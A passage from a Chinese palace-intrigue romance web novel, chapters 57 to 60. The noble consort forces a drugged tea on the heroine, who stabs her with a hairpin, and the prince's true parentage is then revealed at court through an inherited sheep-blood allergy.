永宜侯夫妇事涉晋王党羽,私藏罪人,死罪难逃。其余所有家眷没为官奴,充入宫廷。 江云娥赐死的那一天,聂相宜刚好看见聂元苇跟着人群入宫。 她双眼通红,眼带恨意地看着聂相宜,“父亲母亲都死了!这下你满意了!” “满意了。”聂相宜轻笑一声,而后只是静静地看着她,“聂元苇,我母亲死的时候,我比你小多了。” 第57章 聂家的事尘埃落定。从此再无永宜侯府,也再无聂家。 聂相宜知道,聂家的败落与江云娥的死,都有谢知的推波助澜在后头。他曾说过要给她一个交代,并非空话。 只是…… 谢知像是在那些关着她的日子里养成了习惯,即使此刻在书房整理公务,也将她圈在怀中抱着。 怀中的人柔软乖顺,像只小猫般蜷着,安静得让他觉得异样。若是往常,她必定闲不住,这里戳戳那里蹭蹭,像是在磨爪子。 他垂眸看了一眼她的神色,便知她有心事,“在想什么?” 聂相宜仰头看着谢知,神情犹豫而迟疑,“殿下……如果……” 她想了想,又咬住了唇不曾开口。 谢知只是轻挑眉看着她,“嗯?” “如果……我还要找贵妃报仇呢?” 她知道这话会让谢知为难,毕竟那是谢知的亲生母亲。但贵妃的杀母之仇,她亦不能视若无睹。 她的话却让谢知心中忽地生出茫然。 事实上,他与贵妃之间的母子之情,淡薄又复杂。 那时自己尚且年幼,贵妃总是对他严苛,但有差错,便总是不满。而对体弱多病的太子,却总是温和而体贴。 他只当是自己不够努力,做事不够端正,行事不够严谨,得不到母亲的一个笑脸。 小小的他循规蹈矩,一丝不苟,期盼着那丝不属于他的关怀。 而贵妃在冷漠之余,又像是会想起他这个儿子来,只做了一副万般无奈地告诉他: “如珩,母妃也是没有办法,贤德难做,谁叫他是太子呢。他又失了亲生母亲,母妃若是对他不好,只会叫你父皇不满。你要体谅母妃啊。” 后来他便明白了,即使他做得再好,也不如太子咳嗽一声叫她那般关心。 十二岁那年,太子高烧不退,皇帝因司天台说他与太子命格相冲,取去了他名字中的承字,让他去边地历练。 名为历练,实为流放。因为司天台说了,他与太子,需离得越远越好。 临行之前,母妃话中好似百般不舍,“如珩,母妃也没有办法。这是你父皇做的决定。” 然而在他不舍离去,流连回头之时,却只见贵妃毫不流连转身离去的背影。 他在那一刻,忽地便接受了母妃不爱他这个事实。 父母的偏爱,都只给了谢承忻一人。 而如今他却忽然得知,这个抚育了他十数年的女子,名为母亲,却是他的杀母仇人。 他心中复杂难明。 谢知的沉默让聂相宜的心忽地揪了起来。一个是血亲,一个是深仇,她知道,这个问题如同一道天堑鸿沟,始终无法两全。 然而谢知只是沉默了一瞬,而后轻吻了吻她的额头,“我说过,我会给你一个交代。” 不知为何,聂相宜因他这句话忽地安心下来。 她像是仍有些想不通,一边百无聊赖地用指尖缠绕玩弄着谢知垂落的发丝,一边闷闷地说道:“可贵妃为什么要害死我的母亲呢?明明与她无冤无仇的。” 谢知脑中忽地一闪,想起那张温和面庞递给自己药膏时的情景。他心中猛地一惊,所有的一切疑点在此刻骤然串联,拨云见日。 “如果……她知道了一个不得了的秘密呢?” 聂相宜抬起头疑惑地看着他,“什么秘密?” 谢知没有回答。只是于无人之处,他沉声问了林乔一个问题。 “温成皇后,羊血过敏吗?” 林乔先是一怔,疑惑他为什么会知道这个。而后猛地反应过来,“你!你也羊血过敏?” 谢知眸色晦暗地点了点头,只问她,“她羊血过敏的事,还有谁知道?” “但凡亲近之人,皆知。”林乔说道,“当年挽月在战场之上,为皇上洗手羹汤,凡事亲力亲为。西北大多所食牛羊,她羊血过敏之事,便是在那时发现的。” 果然如此。 “天也助你。”林乔忽地轻笑了起来,“人证物证皆有,皇帝不信也得信。” 谢知却只是平静地摇了摇头,“这事不能由我来说。” 他吩咐凌竹,“去请小裴大人。” 裴珏重新回了流云观,草木生长,隔壁的小院却已无人居住,一片寂静。 他深深看了一眼那曾经的小院,眼中露出难言的失落,而后默默推开了隔壁的房门。 “祖父。” 院中的人独自对弈,枯瘦的手捏着一枚黑子久久不曾落下。他听见动静,头也未抬,只是淡淡嗯了一声。 裴珏施以一礼,这才说道:“祖父可知,三殿下他……” “看来你都知道了。”他的话还未说完,便被不徐不疾的声音打断。 裴济这才抬起头看着他,一双苍老的眼睛格外矍铄。 裴珏眸中陡然震动,“祖父竟然知道?祖父是从何得知这般惊天秘闻!” “那个女人告诉我的。”裴济的目光落在那低矮的院墙之上,“忘了是多少年前了,她来找过我,求我帮忙。” 裴珏顺着他的目光看去,望向隔壁那颗粗壮的梧桐树。 春天的到来让梧桐发了新芽,一点点新嫩的颜色,旁逸斜枝地伸到这边院子里。他记得小时候这梧桐还不曾这般高大,他常与聂相宜攀上树,看远处的风景。 “祖父的意思是,文安夫人?”裴珏几乎感到不可置信,“祖父既然早知如此!为何不一早向皇上禀明?” “皇上重武,我裴家虽是三朝老臣,到底不如武将。”裴济眸色微动,“若是早早言说,三皇子只是改做太子,未必记得住我们裴家。哪里比得上这关键时候雪中送炭,为我裴家再挣一个从龙之功!” 他眸中陡然迸出精光,手中的黑子应声落下。 裴珏几乎被他这番话震撼得说不出话来。他以为,祖父在此清修数年,早已厌倦官场纷争;他以为,祖父身为文官,清高狷介。 可此番蛰伏,不可谓不用心至深。 他皱着眉头,语气带着少见的急色,“可祖父这样!岂非害了文安夫人!” 他心中说不出是何滋味。只是祖父的蛰伏,未必不是间接害死文安夫人的缘由。 他该如何再面对她? 裴济忽的掀起眼皮冷冷盯着他,眸光锐利得像是洞穿人心,“她若是其他人的母亲,你会这般着急吗?” 裴珏语气忽的一滞。 “你到底不如三殿下,冷心自持。” 裴珏抿了抿唇,心想,那也未必。 二月二龙抬头的日子就在眼前,聂相宜得了通传,要入宫参加宫宴。 往年龙抬头的日子里,都要祭神劝农,聂相宜问道:“听说皇上开春以来身体便旧疾复发了,今年还能祭神么?” 谢知眸色微沉,只是摇了摇头。 聂相宜倒像是想起了什么,轻哼了一声,“去年二月二,在裴家的池上清集,我与殿下可是初见呢!殿下可还记得?” 谢知忽地便想起那日的场景来。 他在人群中,一眼便认出了她。 她那日一身草绿色长裙,在春日里显得格外生机勃勃。一张总是笑盈盈的脸,一会跟这个世家公子说笑,一会与那个年轻儿郎闲谈。 不知为何,他忽地便生出厌烦。 见她急色匆匆朝自己赶来,原以为她是记得自己,不曾想她开口便问他,“殿下,我送你的面具还在吗!” 那双眼睛又圆又亮,一脸期盼地盯着自己。 谢知一听便知是她认错了人。 即使是在鄯州,她与他也从未有过交集,又何曾送过什么面具。 他心头陡然沉了下来,只冷着脸转身离去。 想及此,谢知只微抿着唇看她,“记得。” “殿下那时连话都不想与我说呢!”聂相宜又重重哼了一声,嘴巴撅得老高,“害得我还跌了一跤!裙子都脏了!被那些世家贵女笑了好久!” 他知她跌了一跤。他想回头的,只是余光瞥见她被人扶起,又平生恼意。 “是我不好。”他揉了揉聂相宜的头,“赔你一条裙子好不好。” “反正那时殿下也不喜欢我!我才不在乎呢。”她嘴上这样说,却扬着下巴哼哼唧唧,“一条裙子而已。” 谢知看着她鼓鼓的脸颊肉,忍不住伸出手轻轻一捏。在聂相宜不满的眼神中,又让乔姑姑端出一套金镶宝石的头面来。 “哇!” 那头面流光溢彩,又有象牙玳瑁点缀其间,精美华丽,极是漂亮晃眼。纵使外祖向来娇养,她也未曾见过这般华丽的头面。 她瞪大了眼睛,“给我的吗?” “除夕那日便想给你的。”谢知轻笑了一瞬,“只是你不在府中,不太方便。” 聂相宜很是喜欢这些精美华丽的玩意。她笑得眉眼弯弯,吧唧在谢知唇角落下重重一吻,“多下殿下!” 谢知亦弯起唇角。 “快!殿下帮我带上试试!”聂相宜朝他歪过头,满眼的期待神色。 谢知眸中带着兴味,“不是嫌我手笨吗?” “你怎么还记仇啊!”聂相宜瘪着嘴看他,不由得拖长了尾音,“快点帮帮我嘛,殿下!” 谢知故意板起了脸,“好好想想,该唤我什么。” “不叫殿下叫什么。”聂相宜嘟哝了一声,“谢知?如珩?阿珩哥哥?” 她像是尝试开锁的钥匙,将称呼都叫了个遍。在唤他如珩哥哥的时候,聂相宜明显见他喉间微动,却依旧是不为所动。 “我知道了!”她像是福灵心至,歪着头笑弯了眼,“夫君!” 谢知的吻就此落在唇边。 华丽的头面还没来得及戴上,便已搁置在一旁。耳鬓厮磨之间,她听见谢知在她耳边轻笑,“阿兕不想送我点什么吗?” 聂相宜红着脸轻哼了一声,“流氓。” 第58章 二月二转眼便到了,日前的除夕上元等宫宴聂相宜都并未参加,谢知也只是寻了由头,推脱她在清修祈福。 那时正值她刚失了外祖,倒也没什么人深究。只是一连缺席好几次,这次倒不好不去了。 皇帝今日身体欠佳,听说是从前在战场上的旧疾复发,连今年的劝农祭神也免了。 这日里聂相宜带着那套金玉头面入了宫。只是刚一入宫,便刚好遇见了裴珏。 他温润的目光在聂相宜面上停留了片刻,而后只躬身行礼,“见过三殿下,三皇子妃。” 谢知凝眸看他,“小裴大人这是要前去面圣?” 两人目光相接,像是达成了某种共识,裴珏点头,“是。” 他语气微微一顿,像是意有所指,“只是皇上这病来得突然又凶险,总是有些奇怪之处……” 谢知闻言陡然压低了眉宇,似乎明白他话中之意。他声音一沉,“我与你一同前去面圣。” 他话音刚落,又犹豫地看了身旁的聂相宜一眼。 她疑惑地歪着头,“我也要去吗?” 这样的乱局,是不该将她掺和进来的。谢知沉默不语。 只是他今日莫名觉得不安,好像若不将她待在身边,总觉不放心。 “不可!”裴珏反倒先出声制止,他皱着眉头看向谢知,“殿下!凡事并无万一的把握,若是……” 他话音未落,便被谢知的声音打断。谢知转头看着聂相宜,漆黑眸色沉郁无比,“别乱跑,知道吗。” “殿下与小裴大人去吧。”聂相宜像是毫无知觉地摆了摆手,扬起的笑容灿烂 而明艳。 “我在延年殿等着殿下便是!” 谢知犹豫了一瞬,与裴珏一同离开。 “三殿下,小裴大人。”殿中有通传的内监出来,一脸歉意地赔笑,“皇上刚喝了药,略感疲倦,怕是没精神宣见二位。” “父皇是什么症候?”谢知微拧着眉,“怎得突然这般厉害。” 内监只是摇头,“是从前皇上在战场上落下的旧疾,沉疴已久。时节不好,便又复发了。” “眼下是谁在伺候?” “是贵妃娘娘。”内监答道,“娘娘还要忙着主持宫宴事宜,刚刚回去了。” 谢知了然,与裴珏一同前往延年殿。 路上二人心思各异,裴珏忽地想起祖父说的话,“皇上这病来得急,只怕是有人坐不住了。” 他转过头看向谢知,“殿下……皇上的病……” 谢知只一字一顿地回答道:“不对劲。” 父皇向来身体康健,纵使当年战场上落下旧疾,大多都是外伤,何以致使这般厉害。 裴珏见他亦猜到些什么,面容凝重了许多,“恕我直言,殿下要早做准备。” 谢知抬起头,目光落在宫外的天空之上,声音轻得几近于无,“钟谦岳已经在回京的路上了。” 这厢,聂相宜还未行至延年殿,便有人来通传,“贵妃召见三皇子妃。” 贵妃?聂相宜一想到她是害死自己母亲的凶手,便已然怀了恨意在心。 她几乎有种小动物般的警惕直觉,只告诉她不能前去。兼之谢知叫她不要乱跑。于是她不卑不亢地说道:“我在此等着殿下前来,与我同去拜见贵妃。” 那嬷嬷上前一步逼近于她,挡住她的去路,“贵妃单独召见,三皇子妃还是请吧。” 这般不容拒绝的姿态让聂相宜不由一跳,她退后一步,“那容我与殿下知会一声,以免殿下等待。” 她给含絮递了个眼神。 含絮乖觉,拔腿便往外跑。然而她还没跑出几步路去,便被几个身形高大的内监拦住了去路。 嬷嬷只是面无表情地看着她,“还请三皇子妃不要为难我们。” 谢知与裴珏刚行至延年殿附近的长街,他的余光忽地瞥见一物,脚步倏地顿住。 裴珏看着他俯身捡起地上的一只摔坏的金簪,其上宝石流光溢彩,在阳光下熠熠生辉。只是像是不甚跌落,摔坏了一角。 她知道,谢知向来对这些女子之物视若无睹,但此刻,他却将那支金簪陡然紧握于手心。 “殿下?” 谢知晦暗的眸色满是危险的意味,声音沉冷地如同寒冰凝结。 “阿兕出事了。” “你放开我!放开!我踢死你信不信!”聂相宜被几个虎背熊腰的老嬷嬷挟制着,一路上她又踢又踹,挣扎个不停,这些人硬是不为所动,硬生生将她带去了贵妃的宫中。 “哟!这是怎么了!”贵妃见她进来,故作惊讶之色,“怎得连鬓发都散了!” 她板着脸看向那几个嬷嬷,“叫你们请三皇子妃,你们便是这样请的?” 嬷嬷们还未告罪,聂相宜便忿忿开口,“少在这里装模做样!” 能强行将她掳了来,只怕是准备与她撕破脸皮了。她又何必与她虚与委蛇。 “母妃不过是叫你来说说话,是这群蠢笨奴才坏了我的好意。”说着她便笑着伸出手去,想要帮聂相宜整理鬓发。 聂相宜侧身躲开,只是一脸警惕地看着她。 她恍若不觉,摒退屋内众人,只从叫贴身嬷嬷端上一盏清茶,递至聂相宜面前,“相宜快喝口茶,败败火气。” 聂相宜一见她,便会想到自己母亲之死都是拜她所赐,她没好气地觑了那茶盏一眼,“我不喝。” 她的语气生硬,冷冰冰的,“贵妃找我来,有何贵干?殿下要等急了。” “你这孩子,怎得跟如珩呆久了,性子也似他一般冷硬起来。”贵妃对她的冒犯与失礼视若无睹,颇为嗔怪地看她一眼,又将拿茶盏朝她面前递了递。 “待会茶再凉了。” 聂相宜本并未注意那茶,见她三番两次提起,不由也起了疑心。她将信将疑地看着那茶,“这么急着我喝,你不会加了什么东西吧。” 她的话让贵妃笑容瞬敛。 一向温和慈爱的她此刻如同变了一个人,眸中满是泠泠寒气,“看来你都知道了啊……” 染着蔻丹的鲜红指尖轻轻拨弄着茶盏的盖子,“你都知道,说明谢知也知道了。” 她的眸中陡然迸出厉色,“嬷嬷,给我按住了她!” 说着她端起那盏茶便要往聂相宜嘴里灌。 聂相宜整日翻墙揭瓦,一个普通的贴身嬷嬷未必能制得住她。她翻身一拧,一脑袋顶在那嬷嬷胸口。 只听得哎哟一声,顿时人仰马翻。 “倒是小瞧了你。” 贵妃冷眼看着她,不出片刻,方才那几个高大的嬷嬷便已步步逼近,顿时将聂相宜钳制。 她漠然地看着聂相宜又踢又咬,死命挣扎的模样到不似寻常世家女子,只叫人觉得野性难驯。 “别白费力气了,喝了它,你不会死的。”她缓缓靠近聂相宜,“只是用你稍稍牵制一下如珩罢了。” 即使知道贵妃偏心,可听见她要对付谢知,聂相宜几乎不敢相信自己的耳朵,“虎毒尚且不食子!他是你的亲儿子啊!” “哈。”贵妃忽地笑出声来,“看来他没告诉你啊。” 她便不再解释,只端着茶盏,伸手捏开聂相宜的下巴。只是聂相宜拧来拧去地挣扎着,一脑袋顶在她手上,发间的金钗划过她手臂,割出好大一条红痕。 贵妃吃痛地捂住了手,不觉没了耐心,“把她的脑袋也给我按住。” 见她终于被钳制不动,贵妃这才将茶盏往她嘴里灌去。“这药量虽不致命,你多少也得吃点苦头。只乖乖听我的话便是。” 口中的茶呛得聂相宜连连咳嗽,她因呛咳眼中泛出泪光。即使她费劲力气紧闭双唇,依旧能感受到茶水从她喉头一点点划过。 贵妃居然想用此来威胁谢知。她心中忽地生出愤怒与绝望,泪水一点点自眼角滑落,却半分动弹不得。 “如若不然,只要药量一点点增加,痛苦深入骨髓却无法可解,只得在无尽的痛楚中保守折磨死去。” 一碗茶见底,周围嬷嬷的钳制便松了许多。而贵妃只是神色阴冷警告她,“你母亲便是前车之鉴!” 聂相宜听她提起母亲,想起幼年时的她看着母亲一天天枯瘦下去,像枝头枯萎的花朵,生命力的流逝几乎挽留不住。 她不知道那时何种的痛楚与折磨,只记得她即使苍白着脸,亦仍旧轻笑着看她,“我的好阿兕。” 她的母亲,便是被这样活活折磨而死! 泪意忽地模糊了双眼,聂相宜眼中骤然迸发出巨大的恨意。她不知哪里来的力气,挣脱束缚,像只发狠的小兽般狠狠将贵妃扑倒在地。 这一刻她似乎什么也听不见,什么也看不见,只任由着愤怒拔下发间的金簪,狠狠地刺向眼前的人。 直到热烫的鲜血溅到她白皙的面颊,她脑中嗡鸣一片,眼底满是这刺眼的红。 当胸腔的愤怒缓缓归于平静,她好像不记得自己做了什么,也不记得周围人的反应。 谢知匆忙进入殿中的时候,看到的便是乱做一团的场景。周围的嬷嬷慌乱不知所以,屋内瓷器碎了一地,贵妃倒在血泊之中生死不知。 而聂相宜手握着一支带血的宝石金簪,一脸茫然而惊恐地看着自己的手。 “三皇子妃!三皇子妃杀了贵妃!” 直到嬷嬷一声尖利的叫喊,聂相宜手中的金簪应声落地。 “铛”的一声,她像是被拉回了神智。机械般地转过头看着谢知,空洞的眸中带着不知所措的茫然,“殿……殿下……” 她像是被吓坏了,坐在贵妃的身上一动不动,“我……我……” 她说不出话来。 谢知看了一眼屋内 的嬷嬷,给了身后凌竹一个眼神,只叫他处理干净。 他上前拉起聂相宜,声音轻得像是怕惊了她,“阿兕,我在。” 她连牙齿都忍不住轻颤起来,“贵妃她……她……” “别怕。”谢知的指尖拂过她白璧微瑕的面颊,一点点拭去其上的血迹。 “我会处理好一切。” 他转身,想去吩咐些什么,却被聂相宜拉住。 “我不怕。”她的声音亦缥缈得像一阵即将散去的烟,“反正我要死了。” 谢知还未来得及问她发生了什么,外头忽地有急促的动静传来。 凌竹匆忙进来通传,“殿下!太子来了!”—— 作者有话说:估计快完结了,大家有什么想看的番外,可以说说哦[撒花] 第59章 外头有由远及近的脚步声匆匆而来。谢知俯身,捡起了那只血泊中的金簪。 凌竹似乎看出了他想做些什么,不由得着急上前,诚恳躬身,“殿下,将金簪交给我吧。” 聂相宜想要从他手中接过那只金簪。她伸出手,却被谢知握住。 谢知面不改色地摇头,“只有是我,他才会信。” 是谁动的手并不要紧。 只有这支金簪握在他手里,谢承忻才会不管这些漏洞百出的破绽,不余遗力地让皇帝相信,人是为他所杀。 外头脚步声愈来愈近,无端让聂相宜觉得紧张。而谢知只是用一方手绢耐心地擦干净了她的手。 向来一尘不染、清风霁月的三皇子,今日罕见地脏了衣物,脏了手。 他只低声吩咐凌竹,“去找裴珏。” 谢承忻进来的时候,满地的狼藉几乎让他按耐不住内心的狂喜。他毫不在意躺在血泊中的人是谁,是否是他的生母。 他原以为贵妃只是对聂相宜下手挟制谢知罢了,不想竟送他这样一份大礼。 这可是谢知亲手送到他手中的把柄。 他看了一眼面色苍白的聂相宜,只是轻轻招了招手,嘴角带着志在必得的轻笑,“神策卫,将人拿下吧。” 身为皇帝亲卫,即使谢知曾是神策卫指挥使,他们亦只能奉命行事。就在神策卫即将带走谢知时,聂相宜忽地攥住了他的衣角。 谢知回头看去,那张一向生动的面颊之上泛着青白之色,额角冒着滴滴冷汗。 她脸颊皱成一团,一手捂着心口,一手紧紧握着谢知的袖摆,“殿下……我和你一起……” 谢知眸色微黯,他抿了抿唇,将她冰凉的手握在手中,“好。” 忽地身体一轻,聂相宜就这样落入他带着清冽气息的怀抱之中。谢知稳稳环着她,一手拂过她的发间,让她靠在自己的胸前,“阿兕,没事的,安心些。” 他的声音是旁人从未见过的轻柔与温和。然而再抬头时,他的目光已然带着锋利的冰冷,“走吧。” 殿中人潮散去,只剩一地杂乱的狼藉。踏出殿门之时,谢知忽地回头看向殿中,那个算计了半生的女子,此刻安静地躺在血泊之中,无人在意。 谢承忻大步向前。 裴珏似乎在殿外等待已久,见众人出来,只拦住他们的去路,神情不卑不亢,“事发重大,非我们能够做主,还请太子殿下禀明皇上!” “父皇病重,孤身为太子,理应承担重任。更何况,神策司本就掌握宗室刑罚。” 谢承忻瞥了一眼谢知,“三弟弑母犯上,倘若今日之事传出,只怕是会为天下之人所笑柄,我皇室竟是无情无义之辈。” 裴珏却丝毫不让,“下官身为神策司官员,已派人禀明皇上。” 他的话音刚落,便听得有太监匆匆前来传旨,“皇上请诸位前去。” 谢承忻长久凝眸看着裴珏,忽地阴恻恻一笑,“裴珏,真有你的。” 他早已料到他们会求见皇帝,拆穿他的身份。只是如今贵妃已死,早已是口说无凭。兼之贵妃是死在他的手中,若是贸然揭发此事,只会叫父皇觉得他们谋求帝位,不择手段。 毕竟,父皇最忌讳的便是兄弟相争。 他微微挑眉,“那便走吧。” 裴珏侧身,请二位皇子先行。与谢知擦肩而过之时,他惊见他怀中的聂相宜,不由得皱起眉头,压低了声音。 “殿下为何会将阿兕也带上!”他语气中带着质问,“殿下明明知道,此事并无十足的把握!若是将他牵连……” 聂相宜只是蜷在他的怀中,像是受伤后寻求舔舐的小动物,哀哀地痛呼,“殿下……我好疼……” 谢知担忧地皱着眉,一边垂首轻轻吻过她的额头,一边怕她受到颠簸般愈发抱紧她,“是我不好……阿兕……再忍忍……” “阿兕怎么了!”裴珏见状顿时紧张起来。 谢知沉着声说道:“是贵妃。” “那……” 裴珏刚还想说些什么,谢知便打断了他,“凌竹已经留在殿中寻找解药了。” 延年殿之中,一派安静。二月二的宫宴便要开始了,宗室百官毕至,却看着神策卫将殿中团团围住,一脸肃穆。 香炉燃着袅袅青烟,皇帝沟壑纵横的脸上泛着青黄的病色,强撑着脊背,坐在龙椅之上。 他浑浊的眼中仍带着锐利,只在殿中一扫,沉重的气氛便几乎快压得人快喘不过气。 “启禀父皇,今日卯时,贵妃宫中传来异动,儿臣匆匆赶去时,贵妃已猝然薨逝。人证物证具在,儿臣不敢隐瞒,贵妃薨逝,乃是三弟所为。” 此话一出,满座皆惊。 所有人的目光皆落在谢知身上,或怀疑或惊讶,或幸灾乐祸。这个从前清风霁月的三殿下,堪称皇子典范的三殿下,竟会行此忤逆之举! 便有朝臣当即进言:“贵妃娘娘乃陛下所封,受皇家俸禄,承后宫规制;三皇子虽为天潢贵胄,亦当守国法、循伦理!” “三皇子弑母犯上,不尊纲常伦理!臣无状,唯请陛下圣裁,查明娘娘死因,以正国法、安宫廷!” 一时间议论纷纷,这位曾经矜贵淡漠、高高在上的三殿下,成了众矢之的。 曾经被神策卫为难过的朝臣无不落井下石,请求皇帝严惩不贷。 而谢承忻只是嘴角含着轻笑,冷眼看着这一切。 事关皇家颜面,此等弑母丑闻被骤然掀开于群臣面前,皇帝亦是同时得知,不免生了愠怒。 “如珩,你一向守礼知敬,孝悌有加。竟敢做出这般忤逆行径!”他将手中的茶盏重重掷了出去,“咣当”一声,茶水四溅。 他的眸中带着沉重的压迫感,“你还有什么话可说!” 皇帝的怒气让周遭的议论顿时鸦雀无声。 见谢知沉默不语,皇帝更是怒上心头,“既然如此,那便……” 只是他还未做出决定,裴珏便忽地开了口,“启禀皇上,臣有要事启奏。” 谢承忻微眯了眯眼,忽地站直了身子。 在百官众目睽睽的注视之下,裴珏掷地有声。 “三皇子谢知,乃是真正的故皇后之子!” 满座哗然。 皇帝瞳孔骤然紧缩,捏紧了手中摩梭的手串,他像是不敢置信,猛地剧烈咳嗽起来,“你说什么?” “臣于宫外遇一妇人,言及其是故皇后的乳母。直言是当年贵妃偷龙转凤,混淆二位皇子血脉!” 此番消息,比之方才弑母丑闻,更如同一个惊天霹雳,让在座朝臣皆是震惊不已。 “这样说来,难道三殿下才是真正的太子?而太子殿下,其实是贵妃的亲子?” 有人闻言反驳,“凭你小裴大人一家之言,恐不可信。只怕是为三殿下脱罪之语,也未可知啊。” “是啊,如今贵妃已死,死无对证。岂非是胡乱编造也可。” 皇帝本就因病痛而头脑昏沉,七嘴八舌的低声议论更是让他烦心而恼怒。 他冷眼扫过殿中诸人,目光所及之处,如同寒冰冻住,忽地便噤了声。 “你接着说。” “该妇人还言明,当日故皇后之死,正是故皇后所为!”裴珏一字一顿地说道,“是贵妃趁故皇后产子虚弱之际,收买奴仆害死了故皇后!” 他的话让皇帝的呼吸陡然急促起来。他青白的面色被憋得通红,忽地抚住胸口,大口呼吸起来。 有内监及时递上一盏热茶,他急急饮下,这才稍缓片刻。 谢知的目光忽地凝在他抚住胸口的手上。 有官员试探着说道:“那三殿下今日之举,莫不是为母报仇?” 有人便冷哼一声,“脱罪之语罢了!可有证据?” 谢承忻依旧轻笑着。 “贵妃虽死,但其实此事若想求真却也不难。” 他不徐不急地开口,仿佛被揭穿身份的并不是他,“小裴大人不是说,是那妇人亲口告知于你么?不如将她请进宫来,一问便知。相信父皇也识得。” 说罢,他挑眉看向谢知。 他敢将与晋王余孽有染的人带进宫来吗?更何况,晋王余孽皆已处斩,如若再度出现,那便是欺君之罪。 皇帝沉吟片刻,“朕记得,当年挽月的确有一个乳母……逃出了宫……” 他的目光落在裴珏身上,像是等着他的下文,“裴珏,人呢?” 裴珏似是犹豫,他看向谢知,像是在想要不要赌一把,将林乔带入宫中。 还未等得谢知的回应,便听得谢承忻轻笑出声,“拿不出来?看来小裴大人,别是遇上了什么江湖骗子罢。” 他唇角的笑容逐渐放大,“今日她说三弟是故皇后之子,明日又说你小裴大人是故皇后之子。反正贵妃已被三弟杀死,任由你们编排便是。” 皇帝的眼中逐渐有风暴酝酿。接二连三的事端让他本就不支的身体疲惫而压抑,谢知弑母在先,又有裴珏凿凿之言在后,难辨真假。 然而毫无证据的裴珏,倒像是陷入朋党之争的羽翼,是在这一刻慌不择路下的抉择。 他脑中想起贵妃,这些年来也算是兢兢业业,勤谨奉上,亦称得上一句贤惠端方。 “裴珏,我最后问你一次。”他眸色沉沉地看着裴珏,“你能不能找到,当年故皇后的乳母。” 一旦将林乔带入宫中,谢承忻必会揭穿她与晋王余孽有关一事。 欺君之罪尚且不论,时隔多年,即使她是故皇后乳母,但晋王余孽说的话,皇上能信几分? 他的沉默让皇帝心中有了决断。 “三皇子谢知,弑母犯上,罔顾人伦纲纪。着今日起……” 他的呼吸逐渐变得急促,像是极难下定这个决心。 谢知终究是他的血脉之子,哪怕这些年来,他对他的关注远不如体弱的谢承忻。可平心而论,他是皇子中最优秀的那个。 如若此等丑闻并未捅到文武百官面前,他大可以将事情掩下,将他罚去边疆,抑或是其他惩罚。 只是如今众目睽睽之下,他必须要要有一个交代。 “着今日起……” “皇上!”有内监匆匆来报,“外头裴济大人求见!” 第60章 “他怎么来了。”皇帝脸上露出极是不满的神色。 他想也不想,便知道裴济定是因为裴珏而来。再联想到两人甚至于整个裴家都已参与这场党派之争,对于谢知的不满与忌惮已达到顶峰。 “你倒是有本事。”他冷眼看向谢知。说着他挥了挥手,神情不耐,“裴济不是在清修吗?叫他回去罢。” 内监战战兢兢地拱手道:“裴大人说,知道皇上不愿见他。但是……他愿以性命作保,求皇上见他一面。” 殿内诸官,不少都是裴济的学生。他言辞如此恳切卑微,皇帝自然不好拂了他的面子,让诸官寒心。 他微微抬眼,“宣。” 沉闷的脚步声踩在青石地砖之上,踏踏的声音好似战场的鼓点,敲得人心咚咚作响。 所有人仿佛都提着一口气,看着逆着光走进那个干瘦清癯的身影。他面颊凹陷,露出极高的颧骨,神色严肃。 他不卑不亢地跪下,叩头请安。 谢承忻冷眼看着他,又挑眉看向谢知。病急乱投医,所有人皆死,只剩一个拿不出手的乳母,纵使裴济说话在朝中有几分分量,又能如何? 皇帝喑哑的声音中带着极具压迫感的质疑,“裴大人,你自告老清修之后,数年不问政事,今日前来,所为何事?” 裴济并不看殿内众人,声音带着十足的中气,“皇上恕罪,老臣本不该叨扰皇上。只因犬孙愚笨,不善言辞,臣不愿见皇室血脉混淆,不愿见温成皇后死不瞑目。” 谢承忻轻笑一声,“裴济大人不会也想说,孤是贵妃所生,而后为三弟脱罪吧。” 他转眼看向谢知,语气意味深长,“三弟,你人缘可真好啊。” 皇帝面色愈发难看。 当年与晋王一战何其惨烈,他最忌讳的便是党羽勾结,兄弟相争。 裴济并不看他,只是垂眸恭敬望向皇帝,“皇上,容老臣多言。若要查证三殿下是否为故皇后亲生,只需一物。” 他在皇帝的注视下,转头看向身旁的内监,“劳烦公公,去膳房取一碗羊血。” 皇帝像是因他的话想到了什么,目光陡然变得锐利,紧紧盯着谢知的面庞。 疑心一旦生出种子,生根发芽便是极快的事情。 这样的神态骤然变化逃不过谢承忻的眼睛,他心头没由来地一紧,却不知裴济意欲何为。 羊血并不难寻,不出片刻,内监带着一碗猩红的羊血进入殿中。 裴济拱手看着皇帝,“为求公允,还请皇上命人来验。” 皇帝自是明白他的意思,他眯着眼睛,他深深地吸了一口气,低声对身旁的老内监嘱咐了些什么,“你去验。” 殿中众人皆不知,一碗羊血能验出些什么,能如何去验,见得如此神秘,颇有几分故弄玄虚之感,不由得个个伸长了脖子,引颈相望。 “劳烦太子殿下挽起衣袖。”内监端着羊血恭敬走到谢承忻身边,躬身对他说道。 谢承忻咬了咬牙。直觉告诉他应该拒绝,只是皇帝此刻正眼睁睁看着,他只能伸出了手。 内监三指蘸上羊血,在他臂上画出几道长长的血痕。而后又如法炮制,在谢知的手上画出。 这样的举动,不像是正经查验,反倒像是某种神秘的祭祀仪式一般,在场百官皆有些摸不着头脑,反而更加好奇起来。 装神弄鬼。谢承忻这样想着,心脏却无端剧烈跳动起来。 “还请皇上再等待片刻。” 整个大殿静悄悄的,所有人屏气敛息,连呼吸都放缓,仿佛都在这一刻等待着结果的宣判。 谢知只是平静地抱着聂相宜站在一旁,漠然的神情好似一个局外之人。 殿内的更漏滴滴答答流过,时间的流逝变得缓慢而焦急。 谢承忻按捺不住开了口,“裴大人此举装神弄鬼,不会是想拖延时间吧。” 裴济瞥了一眼谢知的手臂,涂抹羊血的地方,已然逐渐有细小的红疹蔓延。 他这才不徐不疾的说道:“犬孙在宫外遇到的故皇后乳母,并非作假。因为温成皇后羊血过敏一事,便是出自她口。” 这话一出,众人皆是面面相觑。 有年长的宗室命妇小声议论,“我记得当年温成皇后,的确羊血过敏来着。” “是啊是啊。她一碰羊血就长疹子。” 众人皆伸长了脖子看向二人的手臂,“呀!你看三殿下!三殿下手臂上的疹子,与温成皇后当年过敏时一模一样!” “太子殿下倒是没长疹子呢。” 殿内逐渐哗然起来。 裴济正了正神色,“老臣私心想着,温成皇后的过敏,或许会有遗传之兆,这才请二位殿下一试。” “错不了错不了!谁生的像谁!” “我就说三殿下这般才华卓绝,并非庸辈!” 殿内逐渐而起的议论让谢承忻面色发情。他的指尖缓缓蜷进袖中,逐渐变得冰凉。 他没想到他们还有这招。 